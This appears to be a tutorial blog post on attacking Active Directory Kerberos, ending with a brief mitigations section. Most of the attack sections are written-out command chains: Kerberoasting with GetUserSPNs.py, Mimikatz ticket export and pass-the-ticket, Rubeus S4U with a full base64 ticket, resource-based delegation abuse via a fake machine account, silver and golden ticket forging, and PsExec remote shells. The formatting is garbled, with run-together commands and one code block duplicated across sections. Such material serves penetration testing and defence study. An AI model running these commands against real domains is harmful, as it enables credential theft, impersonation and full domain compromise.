Looking at the process, there are some vulnerabilities in the checking of the system. They are as follows:
The TGS only checks the Service Principal Name of the client to verify that it's the right user and if presented a TGT, so what happens if one spoofs the SPN?
Or what happens if the service account is compromised? Perhaps anyone can request for TGT's, and since they are encrypted with the user password, one can perhaps convert this to a hash and crack it if password is not complex.
Once we have compromised the system, with access to the administrator, we can theoretically keep requesting tickets to access other parts of the domain to collect more information if needed.
Those are just some of the methods that can be used to exploit this system. Here will be explanations on the methods used and why they work.
Kerbrute Enumeration
Kerbrute enumeration would abuse port 88 and attempt to brute force out possible usernames stored within the Kerberos system. Tools like Kerbrute can do this:
Above is a snapshot of the machine, and we can see how we are able to find some usernames from this.
This would make use of the fact that we are able to spoof SPNs. A spoofed account can harvest TGS tickets for services that run on behalf of user accounts in the AD. Parts of the TGS is encryupted with user passwords, and can be cracked offline.
From Linux
GetUserSPNs.py-request-dc-ip<IP><DOMAIN>/<USERNAME>-outputfilehashes.kerberoast# Password will be promptedGetUserSPNs.py -request -dc-ip 192.168.2.160 -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast
Windows Memory to Disk
Get-NetUser-SPN | select serviceprincipalname #PowerView, get user service accounts#Get TGS in memoryAdd-Type-AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName"klist #List kerberos tickets in memoryInvoke-Mimikatz-Command '"kerberos::list /export"'#Export tickets to current folder
Unconstrained delegation is a privilege that can be assigned to a user. When a user authenticates to a computer that has this privilege turned on, the TGT gets saved to that computer's memory.
This means the ticket can be used to sort of impersonate the authenticated user, and access other services on that user's behalf. An example use case is when a database admin can log in to any computer to retrieve information and manage the database. The ticket would then be automatically cached into the memory of that computer the user uses.
Naturally, this isn't secure, because someone with unauthorized acccess can basically have a TGT to crack immediately, and would be able to decipher user passwords. Either that or they can Pass The Ticket and be able to do other stuff as that user.
Import-Module .\Invoke-Mimikatz.ps1Invoke-Mimikatz –Command '"sekurlsa::tickets /export"'Invoke-Mimikatz-Command '"kerberos::ptt TIcket.kirbi"'# store ticket in klist, or memory$session =New-PSSession-Computer ComputerNAMEInvoke-Command-ScriptBlock{whoami;hostname} -computername COMPUTERNAME#establish a remote PS session and RCE as another user
Constrained Delegation
This is the same thing as above, however instead of letting the account impersoante everyone, the user can only impersonate certain users. Hence, constrained.
Get-NetUser-TrustedToAuth #find users with constrained delegation privilege.\Rubeus.exe tgtdeleg #requesting for delegation TGT.\Rubeus.exe s4u /ticket:doIFCDCCBQSgAwIBBaEDAgEWooIEDjCCBAphggQGMIIEAqADAgEFoQ8bDU9GRkVOU0UuTE9DQUyiIjAgoAMCAQKhGTAXGwZrcmJ0Z3QbDU9GRkVOU0UuTE9DQUyjggPEMIIDwKADAgESoQMCAQKiggOyBIIDro3ZCHDaVettnJseuyFJMK+Il4GAtWVAHPAq02cnHmOs3R2KcrOWpf3YbtnTD7fB+rKdZ8aElgloJO+v4XVM2NgyOVIia0MzNToDrK1ynhC70aApbag+ykvUFTDeG9NjhE3TVk3+F99vWboy6hhc9AmRUJwHFuqLC4djtL2PtQSpgWWL42W5eONlIZkc5XK0kWkC/AvivuuPOHs9aEy3g38hoBeApZE8NqT7mGKz5JHLwV5TyUgo87s6fFVSn8LHK8CI6G0x2DRhxxu04q0qnRXhLJ5S0MyJgJj6YDVESvCUgep5MXR+OYp0EGdVP8qQJK+x6m4rmr0Y3nd1Klmc+xDnLSC11ay7I8VevqhCBCZ64c+HQow4qcMTa/agxyOXqK42ynUl0GJtrLV7nIIrp+J2e5PECDUXIjKFkGnp6HZDNfzYAGL3XxyyT2JYdneOS3VUzJQyEctjuQMdVA0wB8NrRqDVdqSNBSOyBwpB3/FWzdHNYxztRmVT+Yz6qJCU4SYHIzHUE5dqHjvhjPSwgAkhS/QNApxtWvyba8iwCSnyualuhK46LS0pkt1IIQT0Y+qw80oL6mzjD+rxfKgR4B9hI6Imw9zTT5rjlRNMjWEy78izLtRB+ulzqdkZCUMA6zswWjq1BTmWzZX0LAZ+QAWQJPzoRVsqOcZCZwo/aWwmO1s9v5TLRRMLTAvk16PQW3z9NHix2Io9sObH8cb7gVrB+u2Q545Qwekl0uwP5mCar6swU2oEkxBm5DZvLsbZTcGl+KzGxqq/zhEJm3EceLuwIY81z8aYu13c6AsYETs9VevdEVysylpNL7EcHu8iXsoE5JmLx7OrcPR9WfeFWxRDp+1CVDijOI5VOS51+JpkEvcXFmfZueqLTJ66VGJgQaP7A3B//Y40ur5nSXyvEmIKgzdeqPLpGa5GPiNs/rYFmMlxwEX+yVFB5bPYgoszr3Crjsvs6Q/vdr36NoWqI9/11Nurzeeknt+k8sUV26URnQVkecW4yJFQ2TZwYCJ1k9h4cr96csJ9HhJO46UBye/8oqlqJXKnYY3JpaZiXWK77kG7BqhM6oPl+oEIbX2ycj/gHesxREvP7/vYINk33KbOSxXTAi3Je3wbZP7N+3B9Lz04m8Xi6nGeIVsZiMyODpnJVX5Bgq+3cGaSty0v+fIfqMHDwuKhOS7h1MGLJduhWh3b21ytDfzn73yyCPskFee2ckAomlAgxMzg8ZatmZDLTxfUenJ+EnrJgkYee6OB5TCB4qADAgEAooHaBIHXfYHUMIHRoIHOMIHLMIHIoCswKaADAgESoSIEIN2JDvcjQZeMR+7giMsawE1vG/Cmw9IFIV7ZYwaELMqaoQ8bDU9GRkVOU0UuTE9DQUyiETAPoAMCAQGhCDAGGwRzcG90owcDBQBgoQAApREYDzIwMTkwODE3MTMyMDU2WqYRGA8yMDE5MDgxNzIzMDY0MFqnERgPMjAxOTA4MjQxMzA2NDBaqA8bDU9GRkVOU0UuTE9DQUypIjAgoAMCAQKhGTAXGwZrcmJ0Z3QbDU9GRkVOU0UuTE9DQUw= /impersonateuser:administrator /domain:offense.local /msdsspn:cifs/dc01.offense.local /dc:dc.domain.com /ptt
#loading ticket into memory#/ticket is the base64 string retrieved using rubeusklist#check kerberos ticket memory
If all works well, we should be able to access the areas of the network that the user we impersonated can.
Resourced-Based Constrained Delegation
This attack is possible because we have write privileges over another object within the domain.
For this, we would need to do the following:
Verify we have WRITEprivileges over another object.
Create a new computer object in AD.
Leverage the privilege to update the new object's attribute to allow the new object to impersonate and authenticate as any domain user.
Request for Kerberos tickets for the new computer object to impersonate whoever we want.
This would rely on the msds-allowedtoactonbehalfofotheridentity privilege.
Get-NetComputer ws01 |Select-Object-Property name, msds-allowedtoactonbehalfofotheridentity# check which users have this privilegeimport-module powermadNew-MachineAccount-MachineAccount new01 -Password $(ConvertTo-SecureString'123456'-AsPlainText -Force) -Verbose# create new objectGet-DomainComputer new01#get Domain SID: S-1-5-21-...$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;<SID>)"
$SDBytes =New-Object byte[] ($SD.BinaryLength)$SD.GetBinaryForm($SDBytes,0)#create a new security descriptorGet-DomainComputer <TARGET NAME> | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
#allow for new computer to be impersonated.\Rubeus.exe hash /password:123456/user:new01 /domain:domain.com#generation of hash for our new fake object.\Rubeus.exe s4u /user:fake01$ /domain:offense.local /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /impersonateuser:administrator /msdsspn:http/<TARGET NAME> /altservice:cifs,host /ptt
#impersonation of user within domain..\PsExec.exe \\<TARGET NAME> cmd #spawn command shell for new computer
Silver Tickets
Silver tickets are possible because we can basically create our own valid TGS ticket once we have the password of the service account. By forging this ticket, we basically are able to ensure that we have persistence.
This attack is more limited in power relative to Golden Ticket attacks.
Linux
python ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-... -domain domain.com -spn <domain>/<user> <filename>
# create new ticketexport KRB5CCNAME=<filename>.ccache# export ticket into Linux memorypythonpsexec.py<domain>/<user>@<IP>-k-no-pass#achieve RCE through psexec using ticket as authentication
Windows
#Create ticketmimikatz.exe "kerberos::golden /domain:jurassic.park /sid:S-1-5-21-... /rc4:<LM HASH> /user:administrator /service:cifs /target:<computer name>"
#Inject in memory using mimikatz or Rubeusmimikatz.exe"kerberos::ptt ticket.kirbi".\Rubeus.exe ptt /ticket:ticket.kirbi#Obtain a shell.\PsExec.exe-accepteula \\<computer name> cmd
Golden Tickets
Once we have pwned the administrator, then a valid TGT for any user can be created using this account. From this, we basically create a ticket that can access everywhere. This is not limited to the domain admin account, but also we can do this through the use of the krbtgt account.
This can also be used to dump credentials of all users from the registry.
Linux
python ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-... -domain domain.com -spn <domain>/<user> <filename>
# create new ticketexport KRB5CCNAME=<filename>.ccache# export ticket into Linux memorypythonpsexec.py<domain>/<user>@<IP>-k-no-pass#achieve RCE through psexec using ticket as authentication
#mimikatzkerberos::golden /User:Administrator /domain:domain.com /sid:S-1-5-21... /krbtgt:<HASH> /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt
.\Rubeus.exe ptt /ticket:ticket.kirbiklist #List tickets in memory# Example using aes keykerberos::golden /user:Administrator /domain:domain.com/sid<SID of admin>/aes256:<AES Key>/ticket:pwned.kirbi
Mitigations
How to avoid all of these? Do the following:
Change Passwords
Make sure that your password is complex enough, so in the case whereby your ticket is leaked, it cannot be cracked. This includes all administrator accounts, and service accounts, like krbtgt.
Check Privileges
Ensure that correct privileges are maintained across all objects, so as to avoid the use case where compromised users are able to request for tickets or whatever.
To prevent AS-REP Roasting in particular, Kerberos PreAuth must be enabled on the servers to prevent any user from requesting tickets without credentials. This can be done using the following:
Apart from enabling these, you would also want to check if they are disabled at all. This can be done through monitoring Event 4738 or 5136. These events check for changes within the Preauth configuration.
Update Kerberos
Self-explanatory. There are new CVEs being developed for Kerberos every year, so make sure your system is up to date with all the latest hotpatches and fixes.
Inspect Kerberos Traffic
When an attacker is abusing silver or golden tickets, the logs would generally show that they are repeatedly requesting tickets and accessing unusual places. Firewalls with heuristics should be able to flag this out and block access, or lock the account until a sysadmin can verify what's going on.
Enable Kerberos PreAuth
This would basically block all AS-REP Roasting and prevent the requesting of tickets without a password.
